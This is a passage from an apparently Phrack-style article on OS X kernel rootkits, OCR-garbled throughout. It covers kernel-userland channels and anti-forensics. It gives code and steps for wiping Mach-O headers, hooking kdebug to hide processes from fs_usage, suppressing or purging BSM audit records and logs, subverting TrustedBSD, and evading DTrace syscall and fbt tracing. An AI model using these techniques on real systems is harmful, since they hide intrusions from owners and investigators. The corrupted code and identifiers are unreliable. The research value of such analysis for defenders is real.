also might want to reorder the proc list and move the new element to the 
original location instead of being in newer location. Many possibilities 
to hide and try to detect the rootkit actions. That is why it is fun! 


The next issue is that process memory will have our injected library so 
we want to remove it as soon as possible. I did some interesting work 
in this area but NDA oblige and can’t disclose it. It can be done and 
you should think about it, or just use a brute approach and kill the 
process again and this time do not inject anything. Whatever works :-) 


There is no need to have a resident library somewhere at the filesystem 
ready to be discovered. We can read and write from and to anywhere the 
filesystem so we can store the library code encrypted inside the kernel 
module or store it somewhere else, for example in a sqlite3 database 
(there are so many spread all over OS X). Before the injection we can 
unpack it somewhere, execute it, and then remove when not needed anymore. 


One thing I had no time to verify if the impact from Spotlight if we 
use the unpacking to filesystem approach. It might be able to detect 
the new file and store in its database, so we must be careful over here. 


--[ 5 - Revisiting userland<-—>kernel communication 


Fortunately there are many options to establish communication between 
kernel and userland applications in OS X. The sysctl interface previously 
presented [1] is easy to implement but it is too cumbersome to transfer 
large amounts of data. Let me present you additional options. 


—---[ 5.1 - Character devices and ioctl 


The easiest way to have userland<->kernel communication is to create 

a character device and use the ioctl interface to control it. We just 
need to create and register the new device and add the necessary entry 
point functions. 
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It all starts with the structure cdevsw: 


/* 
* Character device switch table 
* / 
struct cdevsw { 
open_close_fcn_t *d_open; 
open_close_fcn_t *d_close; 
read_write_fen_t *qd_read; 
read_write_fcn_t *d_write; 
ioctl_fcn_t *d_ioctl; 
stop_fcn_t *d_stop; 
reset_fen_t *d_reset; 
SELUCE J ELY **OLCLYS; 
select_fcn_t *d_select; 
mmap_fcn_t *d_mmap; 
strategy_fcn_t *d_strategy; 
void *qd_reserved_l; 
void *qd_reserved_2; 
int d_type; 


}; 


The most interesting entrypoints for our purposes are open, close, 
ioctl. If you are interested in using this communication channel, you 
probably should think about encrypting it or some kind of authentication 
method. OS.X/Crisis has no authentication whatsoever so anyone can send 
commands to the kernel rootkit after (easily) finding all the possible 
toctl commands. 


The code is very simple so there is no point in discussing it here. The 
provided source code implements this and kernel control so you can browse 
it and verify how it is done. 


Besides the problems with encryption, authentication and ioctl commands 
reversing, this solution creates a new character device that needs 

to be hidden or else it will be too easy to detect. And then we have 
additional traces inside the kernel structures that need to be hidden, 
creating a vicious circle (rootkits are a vicious circle of hide & 

seek and that is why they can be so fun to write about). 


----[ 5.2 - Kernel Control KPI 


The kernel control KPI is interesting because it allows bidirectional 
communication with userland and transfer of large amounts of data. Its 
implementation is rather simple via a regular socket (PF_SYSTEM). Apple’s 
reference documentation can be found at [17] and sample code at [18]. 


A kernel extension is responsible for creating the socket and the userland 
part will read and send data to that same socket (socket access can be 
restricted to privileged users or everyone). 


The kernel implementation is done by registering a control structure 
kern_ctl_reg defined at bsd/sys/kern_control.h. From Apple’s example: 


// the reverse dns name to be used between kernel and userland 


#define BUNDLE_ID "put.as.hydra" 

static struct kern_ctl_reg g_ctl_reg = { 

BUNDLE_ID, /* use a reverse dns name */ 

0, /* set to 0 for dynamically assigned control ID */ 

0, /* ctl_unit - ignored when CTL_FLAG_REG_ID_UNIT not set */ 


/* privileged access required to access this filter */ 
CTL_FLAG_PRIVILEGED, 


0, /* use default send size buffer */ 
0, /* Override receive buffer size */ 
ctl_connect, /* Called when a connection request is accepted */ 


ctl_disconnect, /* called when a connection becomes disconnected */ 
NULL, /* handles data sent from the client to kernel control */ 
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ctl_set, /* called when the user process makes the setsockopt call */ 
ctl_get /* called when the user process makes the getsockopt call */ 
}; 


The connect and disconnect functions handle userland connections. When a 
new connection is established we need to retain the unit id and control 
referenc they are required for sending data and removing the kernel 
control. 


The ctl_get function handles the communication from kernel to userland — 
sends data to the socket when client requests it, and ctl_set handles 
data from userland to kernel. The kernel data to be sent to userland 
should be enqueued using ctl_enqueuedata() (this is where we need th 
unit id and control reference). 


A quick example of a function to enqueue the PID of a process: 


static u_int32_t gClientUnit = 0; 
static kern_ctl_ref gClientCtlRef = NULL; 
/* 
* get data ready for userland to grab 
* send PID of the suspended process and let the userland daemon do the 
* rest 
ey, 
kern_return_t 
queue_userland_data(pid_t pid) 
{ 


errno_t error = 0; 
if (gClientCtlRef == NULL) return KERN_FAILURE; 


rror = ctl_enqueuedata(gClientCtlRef, gClientUnit, &pid, 
sizeof (pid_t), 0); 


if (error) printf("[ERROR] ctl_enqueuedata failed with error: %d\n", 
error); 
return error; 


} 


Another important detail is about the control ID. Since the recommended 
way is to use a dynamically assigned control ID, the userland client 
needs somehow to retrieve it. This can be done using a ioctl request 
(the reverse dns name must be shared between the kernel and userland). 


int gSocket = -1; 

struct ctl_info ctl_info; 

struct sockaddr_ctl sc; 

gSocket = socket (PF_SYSTEM, SOCK_DGRAM, SYSPROTO_CONTROL) ; 

// the control ID is dynamically generated so we must obtain sc_id using 
// ioctl 
memset (&ctl_info, 0, sizeof(ctl_info)); 
strncepy(ctl_info.ctl_name, "put.as.hydra", MAX_KCTL_NAME) ; 
ctl_info.ctl_name [MAX_KCTL_NAME-1] = ’\0’; 

if (ioctl(gSocket, CTLIOCGINFO, &ctl_info) == -1) 

{ 


perror ("ioctl CTLIOCGINFO") ; 
exit(1); 
} 
else 
printf ("ctl_id: O0x%x for ctl_name: %s\n", ctl_info.ctl_id, 
ctl_info.ctl_name) ; 
// build the sockaddr control structure and finally connect to the socket 
bzero(&sc, sizeof(struct sockaddr_ctl)); 
sc.sc_len = sizeof (struct sockaddr_ctl); 
sc.sc_family = AF_SYSTEM; 
sc.ss_sysaddr = AF_SYS_CONTROL; 
sc.sc_id = ctl_info.ctl_id; 
sc.sc_unit = 0; 
ret = connect (gSocket, (struct sockaddr*)&sc, sizeof(sc)); 
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After connection to the socket is established, the userland client can 
send data using setsockopt() and receive with recv(). The remaining 
implementation details are easy to understand by reading Apple’s 
referenced sample code. 


This communication channel might not be that interesting for rootkit’ing 
purposes because it requires additional effort to hide, in particular 
the socket information that can be explored by memory forensic tools. If 
commercial spyware is using character devices for communication then we 
can’t forget this possibility when analysing a potentially compromised 
machine. 


Nevertheless it can be interesting for other purposes. As an example, 
I created a PoC (to be released later) to stop certain processes when 
they are created ( p->p_stat = SSTOP) and communicate their PID to a 
userland daemon. The userland daemon attaches to the process and modifies 
whatever it needs. In this particular case it is used to patch code 
signed applications without needing to resign and patch any checksum 
checks. We already saw that OS X code-signining verifications are done 
before the process is stopped and do not detect these modifications 
(application own run-time code checksum checks are another story!). It 
is not the best solution but just a nice set of tricks and demo usage 
of this communication channel. 


----[ 5.3 - Alternative channels 


The two presented solutions are easy to setup and use but also easy 

to detect. Their main problem is that they leave "permanent" traces 
that need to be hidden (kernel structures for example). This increases 
rootkit’s complexity and chances of being detected. 


Covert channels are a lot more appropriate and a lot has been written 
about them. Since it is so easy to use almost any kernel function, the 
possibilities to be creative in this department are much higher. Data can 
be stealthy read and written anywhere in the filesystem, bypassing many 
detection and instrumentation mechanisms as it will be shown next. At 
the limit there is no real need for a direct communication channel! For 
example, data can be encoded in a binary and intercepted when it is 
xecuted. The possibilities are really endless. This very short section 
is just a reminder that rootkit design can be different from what is 
usually done and that you should think about it, whether you belong to 
the offensive or defensive sid 


[ 6 Anti-forensics 


Mac OS X kernel is instrumentation rich, featuring DTrace and 

others. These can assist in rootkit uncloaking. Memory forensics is 

also playing an important role these days in malware detection and 
analysis. This section goal is to present some ideas on how to attack or 
hide from these technologies. It is not an exhaustive list but it tries 
to cover the main ones. OS X kernel is still big and full of interesting 
places to b xplored. Keep that in mind! Due to time constraints it is 
not possible to write about fooling/defeating the memory forensics tools 
as I initially planned. It was somewhat similar to what was presented at 
29C3 in Defeating Windows memory forensics presentation [33] and other 
Similar work presented in the past. 


----[ 6.1 - Cheap tricks to reduce our footprint 


An extremely easy trick to pull without any side consequences for us 

is to remove the Mach-O header from process’s memory. A memory dump 
will require additional effort to find and rebuild the original binary 
(harder in userland binaries, simpler in kernel extensions). Do not 
forget that Mach-O header permissions are R-X so make it writable first. 
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Kernel extensions must have a start and stop function. Their prototype 
specifies a kmod_info_t structure as first parameter. It is part of a 
linked list of all loaded kernel extensions (used to hide the rootkit 
from kextstat but now marked deprecated) and contains a very useful 
field to apply this cheap trick. 


typedef struct kmod_info { 
struct kmod_info * next; 


TESA info_version; // version of this structure 
WIint32 id; 

char name [KMOD_MAX_NAME] ; 

char version [KMOD_MAX NAME]; 

int32_t reference _count; // # linkage refs to this 
kmod_reference_t * reference_list; // who this refs (links on) 
vm_address_t address; // starting address 
vm_size_t size; // total size 

vm_size_t hdr_size; // unwired hdr size 


kmod_start_func_t * start; 
kmod_stop_func_t * stop; 
} kmod_info_t; 


The "address" field contains the starting address of the currently loaded 
kext, including the ASLR slide (kernel and kernel extensions Mach-O header 
values include the current kernel ASLR slide). With this information we 
just need to find out the total size of the header and nuke it: 


int nuke_mach_header (mach_vm_address_t address) 
{ 
struct mach_header *mh = (struct mach_header_64*) address; 
uint32_t header_size = 0; 
if (mh->magic == MH_MAGIC_64) 
{ 


header_size = mh->sizeofcmds + sizeof (struct mach_header_64); 
} 
else return 1; 
// we have total header size and startup address 
// disable CRO write protection 
disable_wp(); 
memset ((void*)my_address, 0, header_size); 
enable_wp(); 
return 0; 


} 


Instead of just zero’ing the header you could fill it with random junk 

data for fun. You can even mangle data from the other commands (LINKEDIT, 
LC_SYMTAB, LC_DYSYMTAB, LC_UUID). For example, there are no symbol stubs 
in kernel - symbols are solved when kernel extension is loaded and calls 
are made directly to the referenced symbol. This is a problem because 
it can be used to detect valid code and get hints on what it is trying 

to do. One can generate a table of all kernel symbols and use it to find 


cross references in kernel memory and dump that code. 


Function pointers can help to hide our code - the question is how easy or 
not it is to bootstrap the rootkit to search the required symbols. One 
solution can be to use the techniques described before to find the 
symbols and then mangle the bootstrap code - only leave in memory code 
using function pointers. Be creative, try to reduce your footprint to 

the maximum :-). 


----[ 6.2 - Attacking DTrace and other instrumentation features 


Mac OS X has many instrumentation features available. There are at 

least DTrace, FSEvents, Kauth, kdebug, and TrustedBSD. TrustedBSD’s 
original goal is not instrumentation related but can be used (or abused) 
for this purpose. Kauth is explored in Section 6.3 with AV-Monster II, 
while all the others in the next subsections. 
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Ses [ 6.2.1 - FSEvents 


FSEvents is an API for file system notification. Applications register 
for events that are interested in and receive them via /dev/fsevents. A 
file system monitor can be built on top of this - the usual suspects 
[13] and [14] offer a good explanation about its internals and code 
samples. Jonathan Levin has a "filemon" tool available at his book 
companion web site. 


he responsibility to add the events belongs to the function add_fsevent () 
bsd/vfs/vfs_fsevents.c]. It is a bit long vararg function and I do 

not want to spend space and time analysing it. Amit Singh has a nice 
figure on page 1421 of [14] with functions that add events. For example, 
the open syscall can generate a file create event (FSE_CREATE_FILE). 


The next diagram shows the how the event is added: 


open() -> open_nocancel() -> openl () [bsd/vfs/vfs_syscalls.c] 
| 
V 
[bsd/vfs/vfs_vnops.c] vn_open_auth() -> vn_open_auth_do_create() 
| 
V 
[bsd/vfs/vfs_fsevents.c] add_fsevent() <- need_fsevent () 


In this particular case we could hijack need_fsevent(), match the file we 
want to hide and return 0 to avoid event generation. In many cases there 
is a direct call to add_fsevent() so we also need to hijack it. Inside our 
new function we need to retrieve the necessary information to match the 
event we want to hide and return EINVAL or 0 in those cases. You should 
study the add_fsevent() function to understand how to implement this. I 

do not think there is much value in describing it her there are mor 
(interesting) topics to cover. 


a oe [ 6.2.2 -— kdebug 


kdebug is another (rather obscure) kernel trace facility used only by 
Apple utils such as fs_usage and sc_usage. Documentation is poor and the 
best references are those utils source code and a few pages by Levin [13]. 
The relevant include file is bsd/sys/kdebug.h. kdebug is implemented in 
kernel functions that might produce relevant events using KERNEL_DEBUG () 
macro. The kernel functions involved (in that macro) are kernel_debug() 
and kernel_debug_internal() (with always inline attribute). 


A 32 bits integer is used for the debug messages, with the following 
format: 


| | | |Func | 
| Class (8) | SubClass (8) | Code (14) |Qual (2) | 


For example, filesystem operations use class DBG_FSYSTEM (3) and 
different subclasses to filter between different operations such as read 
and writes to filesystem, vnode operations, HFS events, etc (consult 
kdebug.h include). 


Macros exist to encode the integer for each available class. Using BSD 
class as an example: 


#define KDBG_CODE(Class, SubClass, code) (((Class & Oxff) << 24) | 
((SubClass & Oxff) << 16) | ((code & Ox3fff) << 2)) 
#define BSDDBG_CODE (SubClass, code) KDBG_CODE(DBG_BSD, SubClass, code) 


Grep’ing XNU source code for BSDDBG_CODE will show where kdebug is 
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implemented in all BSD related functions. The fs_usage util traces 
the file system related system calls (its source is located in 


system_cmds-—550.10 package). For example, it contains the following 
code for open() syscall: 
#define BSC_open 0x040C0014 


If we look at kdebug’s include we have the following Class and SubClass 
codes: 


#define DBG_BSD 4 
#define DBG_BSD_EXCP_SC Ox0C /* System Calls */ 


Open is syscall #5 and it matches the code: (0x040C0014 & Ox3FFF) >> 
2 = 0x5 


Grep’ing for the DBG_BSD_EXCP_SC SubClass will land us into 
bsd/dev/i386/systemcalls.c - the file that implements the C portion of 
syscalls code. kdebug’s tracing of syscalls entry and exit can be found 
at unix_syscall64 using two macros that call kernel_debug(): 


ma 


ote) 
KERNEL_DEBUG_CONSTANT_IST (KDEBUG_TRACE, 
BSDDBG_CODE (DBG_BSD_EXCP_SC, code) | DBG_FUNC_START, 
(int) (*ip), (int) (*(iptl)), (int) (*(ipt2)), 

(int) (*(ipt3)), 0); 


Gl 
—~ 


error = (*(callp->sy_call)) ((void *) p, uargp, & (uthread->uu_rval[0])); 


KERNEL DEBUG_CONSTANT_IST (KDEBUG_TRACE, 
BSDDBG_CODE (DBG_BSD_EXCP_SC, code) | DBG_FUNC_END, 
error, uthread->uu_rval[0], uthread->uu_rval[1], p->p_pid, 0); 


The easiest way to disable tracing of BSD related functions (besides 
patching kernel_debug to just return) is to modify the calls to 
kernel_debug() and reroute them to our own function. The disassembler 
makes this extremely easy, so much that I implemented code for each call 
to kernel_debug() to have its own trampoline (there is really no need 
for such thing!). Sample function to disable all BSD syscall traces: 


void 
tfc_kernel_debug(uint32_t debugid, uintptr_t argl, uintptr_t arg2, 
uintptr_t arg3, uintptr_t arg4, __unused uintptr_t arg5) 
{ 
// solve the symbol of the original function 
static void (*_kernel_debug) (uint32_t debugid, uintptr_t argl, 
uintptr_t arg2, uintptr_t arg3, uintptr_t arg4, 


__unused uintptr_t arg5) = NULL; 
if (_kernel_debug == NULL) 
_kernel_debug = (void*)solve_kernel_symbol (&g_kernel_info, 


"_kernel_debug") ; 


// do not let fs_usage/sc_usage trace any BSD* system calls 
if ( (debugid >> 24) == DBG_BSD) return; 
lse _kernel_debug(debugid, argl, arg2, arg3, arg4, 0); 


} 


This patch will be suspicious when fs_usage and/or sc_usage are used 
because no BSD system calls will be traced and screen output will be very 
low. kdebug’s implementation poses some problems to distinguish between 
cases to hide or not. Its buffers are very small and this is easily 
noticed if you peak at fs_usage or sc_usage code (verify the lookup () 
bsd/vfs/vfs_lookup.c] kernel function to see how fs_usage gets the path 
name for syscalls such as open()). 


Fortunately for us there is a easy way to accomplish this using 
current_proc() - it returns a proc structure for the currently executing 
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process. With this information we can retrieve the process name from 

the proc structure (p_comm field, max size 16) and match against the 

processes we do not want traced. A code snippet for a simple check to 
hide vmware-tools-daemon: 


struct proc *p = current_proc(); 

// MAXCOMLEN == 16, we could hash always to MAXCOMLEN to avoid strlen call 
uint32_t hash = hash_name(&p->p_comm[0], strlen(&p->p_comm[0])); 

static uint32_t hidehash = 0; 

if (hidehash == 0) hidehash = hash_name ("vmware-tools-daemon", MAXCOMLEN) ; 
if (hash == hidehash ) return; 


lse _kernel_debug(debugid, argl, arg2, arg3, arg4, 0); 


The basic blocks to override kdebug are presented, implementation details 
are left to the attached sample code and to you. 

One final word of caution. The interception of Mach syscalls at kdebug 
gives some problems and the hooking is very unstable (read kernel 
panics). This is particularly exacerbated with the zombies rootkit 
feature later described. The attached code has been written to support 
that feature but at time of writing I still had no time to research the 
Mach problem the code just ignores that class. 


St [ 6.2.3 - TrustedBSD 


TrustedBSD is a project that started in FreeBSD and was ported to OS 
X in Leopard. It enables a series of (interesting) security features, 
the most famous one being the OS X/iOS sandbox. Its implementation is 
done by adding "hooks" in critical kernel functions. Policy modules 
can be written to receive events from these "hooks" and act on them 
if necessary/desirable. 


One easy application is to create a runtime file system checker for 
critical folders. The app monitors LaunchDaemons and notify the user if 

a new file was added in there, which is a not so frequent operation and 

a favourite spot for malware to make itself persistent (oh, this was a 
good opportunity to use APT buzzword!). It can be used for evil purposes - 
the same "hooks" can increase privileges or hide files [25]. 


Using an example with the open syscall (to be used later with in Kauth 
section): 


open() -> open_nocancel() -> openl () 
| 
V 
vn_open_auth() -> vn_authorize_open_existing() 


V 
mac_vnode_check_open () 


MAC_CHECK () 


call policy, if registered 


The vnode check handler that we can install has the following prototype: 


typedef int mpo_vnode_check_open_t ( 
kauth_cred_t cred, 
struct vnode *vp, 
struct label *label, 
int acc_mode) ; 


Our handler will receive a pointer to the vnode structure and make 
it possible to dump the filename and even transverse the full path 
(remember that vnodes exist in a linked list). 
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MAC_CHECK() is a macro that will route the request to the policy 
modules. It is a bit like sysent table where there is a list called 
mac_policy_list that holds function pointers. A presentation by Andrew 
Case on Mac memory forensics [26] analyses how to find malicious 
TrustedBSD modules using this list against a sample I created (rex 

the wonder dog). It is worth to check his slides for other Mac memory 
forensics tips. 


he available policy checks can be found at bsd/security/mac_framework.h, 
and their implementation is in the different source files in the same 
folder. What interests us is that mac_* functions are always called so 


there is a point of entry that can be used. The mac_* functions contain 
all the necessary/available information since they are the ones always 
calling and passing the parameters to the policy modules via MAC_CHECK () 
macro. 


[To attack this we can use the same old story: hook those functions, 

or attack the mac_policy_list using the syscall handler concept, or 
something else. When loading the rootkit it might also be useful to 
lookup the policy list to verify if there is anything else installed 
other than default modules. The system owner might be a bit smarter than 
the vast majority ;-). 


SoS [ 6.2.4 - Auditing - Basic Security Module 


The auditing features available from the Basic Security Module 
Implementation are not really instrumentation but since their purpose is 
to track user and process actions we should be interested in understanding 
and tweak them to our evil purposes. 


Auditing is not fully enabled by default due to its (potentially) 


considerable performance hit and disk space usage (oh, I miss those 
PCI-DSS meetings). To modify its configuration you need to edit 
/etc/security/audit_control. The two interesting fields are flags and 
naflags (flags for events that can be matched to a user, naflags for 
those who can’t). Event classes are defined in /etc/security/audit_class 
(description can be found at [27] and [28]). For example, if "pc" class 
is configured audit will log exec() and its arguments. 


Let’s move to what really matters for us, evil stuff! Auditing is 


implemented with macros [bsd/security/audit/audit.h] inside BSD and 
Mach system calls (and some other places). The following code snippet 
is from unix_syscall64 implementation, where entry and exit macros are 
placed before the syscall function to be executed is called: 
AUDIT_SYSCALL_ENTER(code, p, uthread); 

error = (*(callp->sy_call)) ((void *) p, uargp, & (uthread->uu_rval[0])); 
AUDIT_SYSCALL_EXIT (code, p, uthread, error); 


About the contents of entry macro: 


/* 
audit_syscall_enter() is called on entry to each system call. It is 
responsible for deciding whether or not to audit the call 
(preselection), and if so, allocating a per-thread audit record. 
audit_new() will fill in basic thread/credential properties. 


*/ 


The exit macro is the interesting one because it calls 
audit_syscall_exit(): 


/ 
audit_syscall_exit() is called from the return of every system call, or 
in the event of exitl(), during the execution of exitl(). It is 
responsible for committing the audit record, if any, along with return 
condition. 


+ + FF F 
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When committed, the audit record will be added to an audit queue and 
removed from the user thread structure (struct uthread, field uu_ar 
[bsd/sys/user.h]). 


void 
audit_syscall_exit (unsigned int code, int error, __unused proc_t proc, 
struct uthread *uthread) { 


audit_commit (uthread->uu_ar, error, retval); 
out: 

uthread->uu_ar = NULL; 
} 


The commit function: 


void audit_commit (struct kaudit_record *ar, int error, int retval) { 


(..) 


TAILQ_INSERT_TAIL(éaudit_q, ar, k_q); // add to queue 
audit_q_len++; 
audit_pre_q_len--; 

cv_signal (&audit_worker_cv); // signal worker who commits to disk 
mtx_unlock (&audit_mtx) ; 


} 


By default in OS X, almost everything is disabled excepting logging 

and authentication to obtain higher privileges. The command "praudit 
/dev/auditpipe" (as root, of course) can be used to live audit events. Run 
the command and login via ssh, or lock and unlock the console to see 

these events. 


Syscall exit or audit commit functions can be temporarily patched to 
test if they are the right places, and yes they are. Removing the call 
to audit_commit() or patching it with a ret removes any trace of audit 
events in logs. There are four references to commit in OS X 10.8.2 

(3 calls, 1 jump): 


un) 


- audit_syscall_exit 

—- audit_mach_syscall_exit 
—- audit_proc_coredump 

—- audit_session_event 


To have granular control over the auditing process is a bit more 


complicated. There is not always enough information available to 
distinguish between the cases we want to hide at audit_commit(). For 
example, if process auditing is enabled, the fork1() function calls 


audit like this: AUDIT_ARG(pid, child_proc->p_pid) ; 
This will call the function responsible to set the audit record field: 


void audit_arg_pid(struct kaudit_record *ar, pid_t pid) 
{ 

ar->k_ar.ar_arg_pid = pid; 

ARG_SET_VALID (ar, ARG_PID); 


The problem here is that we do not have (yet) enough information about 

this fork; we are not sure (yet) if it is the process we want to hide or 
some other process. A different tactic must be used! Because there is 
a 
t 


n events queue we can hijack the worker responsible for those commits 
o disk, audit_worker() [bsd/security/audit/audit_worker.c]. 


The missing piece is how to correlate all events we are interested 
in. Luckily for us (and the auditor in particular) there is a session 
id in audit record structure [bsd/security/audit/audit_private.h]: 


pid_t ar_subj_asid; /* Audit session ID */ 
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With this information we just need to hold the queue commit to disk until 
enough information to find the correct session ID is available. When we 
have it we can edit the queue and remove all the entries that match that 
session ID. 


Last but not least, there is a critical task left! Auditing logs must be 

cleaned in case auditing was already properly configured. The bad news 

is that you will have to do this dirty work yourself. Do not forget that 

the logs are in binary format and OpenBSM’s source at [29] can be helpful 
(praudit outputs XML format so it might be a good starting point). 


esas ee [ 6.2.5 - DTrace 


DTrace is a fantastic dynamic tracing framework introduced by Sun in 
Solaris and available in Mac OS X since Leopard. It can be used to trace 
in real-time almost every corner of kernel and user processes with minimum 
performance impact. An experienced system administrator can use its 
power to assist in discovering strange (aka malicious) behaviour. There 
are different providers that can trace almost every function entry and 
exit, BSD syscalls and Mach traps, specific process, virtual memory, and 
so on. The two most powerful providers against rootkits are syscall and 
fbt (function boundary). We will see how they are implemented and how to 
modify them to hide rootkit activity. A good design and implementation 
overview is provided by [23] (Google is your friend) and usage guide at 
[24]. 


SSs5S= [ 6.2.5.1 - syscall provider 


This provider allows to trace every BSD system call entry and return (the 
provider for Mach traps is mach_trap). A quick example that prints the path 
argument being passed to the open() syscall: 

fF dtrace -n ’syscall::open:entry 


printf ("opening %s", copyinstr(arg0O)); 
}/ 
dtrace: description ’syscall::open:entry’ matched 1 probe 


CPU ID FUNCTION: NAME 
0 119 open:entry opening /dev/dtracehelper 
0 119 open:entry opening 
/usr/share/terminfo/78/xterm-256color 
0 119 open:entry opening /dev/tty 
0 119 open:entry opening /etc/pf.conf 


The syscall provider is useful to detect syscall handler manipulation 
but not the function pointers modification at sysent table. To understand 
why let’s delve into its implementation. 


This provider is implemented by rewriting the system call table when 
a probe is enabled, which in practice is the same operation as sysent 
hooking. The interesting source file is bsd/dev/dtrace/systrace.c. It 
contains a global pointer called systrace_sysent - a DTrace related 
structure that will hold the original system call pointer and some 
other info. 


Things start happening at systrace_provide(). Here systrace_sysent is 
allocated and all necessary information copied from the original sysent 
table (systrace_init). Then internal DTrace probe information is added. 


DTrace’s philosophy is of zero probe effect when disabled so there are 
functions that replace and restore the sysent tabl ntries. There is a 
struct called dtrace_pops_t which contains provider’s operations. Syscall 
provider has the following: 


static dtrace_pops_t systrace_pops = { 
systrace_provide, 
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iDity 
strace_enable, 
strace_disable, 


KK ¢ 


Ul, 


17 


Ul, 


ystrace_getarg, 


Ul, 


systrace_destroy 


ZAnZ2Z2Z4nn ze 
c 


}; 


systrace_enable() will modify sysent function pointers and redirect them 
to dtrace_systrace_syscall(). Code snippet responsible for this: 


( ) 


lck_mtx_lock (&édtrace_systrace_lock) ; 

if (sysent[sysnum].sy_callc == systrace_sysent[sysnum] .stsy_underlying) 

{ 
vm_offset_t dss = (vm_offset_t) &dtrace_systrace_syscall; 
ml_nofault_copy ((vm_offset_t) &dss, 

(vm_offset_t) &sysent[sysnum].sy_callc, sizeof (vm_offset_t)); 

} 

ick_mtx_unlock (&dtrace_systrace_lock) ; 


uate) 


Attaching a kernel debugger and inserting a breakpoint on 
systrace_enable() confirms this (keep in mind all these values include 
ASLR slide of 0x24a00000): 


Before: 


gdb$S print *(struct sysent*) (OxffffFffFfFf8025255840+5*sizeof (struct sysent) ) 
$12 = { 
sy_narg = 0x3, 


sy_resv = 0x0, 
sy_flags = 0x0, 
sy_call = Oxffffff8024cfc210, <- open syscall, sysent[5] 


sy_arg_munge32 = Oxffffff8024fe34f0, 
sy_arg_munge64 = 0, 
sy_return_type = Oxl, 
sy_arg_bytes = Oxc 
} 


dtrace_systrace_syscall is located at address OxFFFFFF8024FDC630. 
After enabling a ’syscall::open:entry’ probe: 
gdb$ print *(struct sysent*) (OxfffffF£8025255840+5*sizeof (struct sysent) ) 


$13 = { 
sy_narg = 0x3, 


sy_resv = 0x0, 
sy_flags = 0x0, 
sy_call = Oxffffff8024fdc630, <- now points to dtrace_systrace_syscall 


sy_arg_munge32 = Oxffffff8024fe34f0, 
sy_arg_munge64 0, 
sy_return_type = Oxl, 
sy_arg_bytes = Oxc 
} 


To recall DTrace’s flow: 
User Kernel 
open() -—|-> unix_syscall64() -> dtrace_systrace_syscall -> open() syscall 


What are the conclusions from all this? If only the sysent table function 
pointers are modified by the rootkit, DTrace will be unable to directly 
detect the rootkit using syscall provider. The modified pointer will 

be copied by DTrace and return to it. DTrace is blind to the original 
function because it does not exist anymore in the table, only inside 
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our modified version. 


If we modify the syscall handler as described in 2.6 and do not update 
the sysent references in DTrace related functions then DTrace usage will 
signal the potential presence of a rootkit. DTrace is still referencing 
the original sysent table and will modify it but the syscall handler is 
not. The result is that DTrace syscall provider will never receive any 
event. Conclusion: don’t forget to fix those references, although the 
functions that need to be patched are all static. 


St Sa [ 6.2.5.2 - fbt provider 


fbt stands for function boundary tracing and allows tracing function entry 
and exit of almost all kernel related functions (there is a small list of 
untraceable functions called critical_blacklist [bsd/dev/i386/fbt_x86.c]). 


The possibilities to detect malicious code using this provider are higher 
due to its design and implementation. An example using rubilyn rootkit 
is the best way to demonstrate this: 


#dtrace -s /dev/stdin -c "ls /" 
Eber s Tent ry 

/pid == Starget/ 

{ 


} 
“1D 


Searching output for getdirentries64, without rootkit: 


O 99661 unix_syscall64:entry 
0 97082 kauth_cred_uthread_update:entry 
0 91985 getdirentries64:entry 
O 92677 vfs_context_current:entry 


Now with rootkit loaded: 


O 99661 unix_syscall64:entry 
0 97082 kauth_cred_uthread_update:entry 
0 2119 new_getdirentries64:entry <- hooked syscall!!! 
0 91985 getdirentries64:entry <- original function 
O 92677 vfs_context_current:entry 


A very simple trace is able to detect both the hooked syscall and the 
call to original getdirentries64. Houston, we have a rootkit problem! 


DTrace’s fbt design and implementation are very interesting so let me 
"briefly" go thru it to find a way to hide the rootkit. 


fbt’s design is explained in [23]: 


"On x86, FBT uses a trap-based mechanism that replaces one of the 
instructions in the sequence that establishes a stack frame (or one of 
the instructions in the sequence that dismantles a stack frame) with an 
instruction to transfer control to the interrupt descriptor table (IDT). 
The IDT handler uses the trapping instruction pointer to look up the FBT 
probe and transfers control into DTrace. Upon return from DTrace, the 
replaced instruction is emulated from the trap handler by manipulating 
the trap stack." 


The source files we should focus on are bsd/dev/i386/fbt_x86.c and 
bsd/dev/dtrace/fbt.c. 


DTrace’s OS X implementation is done using an illegal instruction opcode, 
which is (usually) patched into the instruction that sets the base pointer 
(EBP/RBP). The instruction is emulated inside DTrace and not re-executed 
as it happens in debuggers using int3 breakpoints. 
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Memory dump example with getdirentries64: 
Before activating the provider: 


gdb$ x/10i OxFFFFFF8024D01C20 


OxfffffFfF8024d01c20: 55 push rbp 
OxfffffF8024d01c21: 48 89 e5 mov rbp, rsp 
OxfffffF8024d01c24: 41 56 push r14 
OxfffffFfF8024d01c26: 53 push rbx 
After: 


# dtrace -n fbt::getdirentriesé4:entry 


gdb$ x/10i OxFFFFFF8024D01C20 


OxfffffFfF8024d01c20: 55 push rbp 
OxfffffFF8024d01c21: £f0 89 e5 lock mov ebp,esp <- patched 
Oxffffff8024d01c24: 41 56 push r14 
OxfffffF8024d01c26: 53 push rbx 


The function that does all the work to find the patch location is 
__provide_probe_64() [bsd/dev/i386/fbt_x86.c] (FBT_PATCHVAL defines the 
illegal opcode byte). 


Patching is done at fbt_enable() [bsd/dev/dtrace/fbt.c]: 


if (fbt->fbtp_currentval != fbt->fbtp_patchval) 
{ 

(void)ml_nofault_copy ((vm_offset_t) &fbt->fbtp_patchval, 
(vm_offset_t) fbt->fbtp_patchpoint, sizeof (fbt->fbtp_patchval) ); 


fbt->fbtp_currentval = fbt-—>fbtp_patchval; 
ctl->mod_nenabledt+; 


} 


The following diagram shows the trap handling of the illegal instruction: 


Activate fbt Provider 


V 
fbt_enable() 


V 
Invalid instruction 
exception 


[ osfmk/x86_64/idt64.s ] 
V 
idt64_invop () 


V 
hndl_alltraps () 


Vv 
trap_from_kernel () 


osfmk/i386/trap.c ] 
V 
kernel_trap() 


bsd/dev/i386/fbt_x86.c ] 


V 
fbt_perfCallback () Cedteas) --> emulate -> 
bsd/dev/dtrace/dtrace_subr.c ] continue 
Vv instruction 


dtrace_invop () 


bsd/dev/i386/fbt_x86.c ] 


fbt_invop () 


bsd/dev/dtrace/dtrace.c ] 
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dtrace_probe() | 

| | 

v | 
__dtrace_probe () | 
| 

| 


Vv 


(23:5) 


Dtrace is activated inside kernel_trap(): 
#if£ CONFIG_DTRACE 
if (__improbable(tempDTraceTrapHook != NULL)) { 
if (tempDTraceTrapHook (type, state, lo_spp, 0) == KERN_SUCCESS) { 
/* 
* If it succeeds, we are don 
va 


return; 


E 


} 
} 
#endif /* CONFIG _DTRACE */ 


tempDTraceTrapHook is just a function pointer, which in fbt provider 
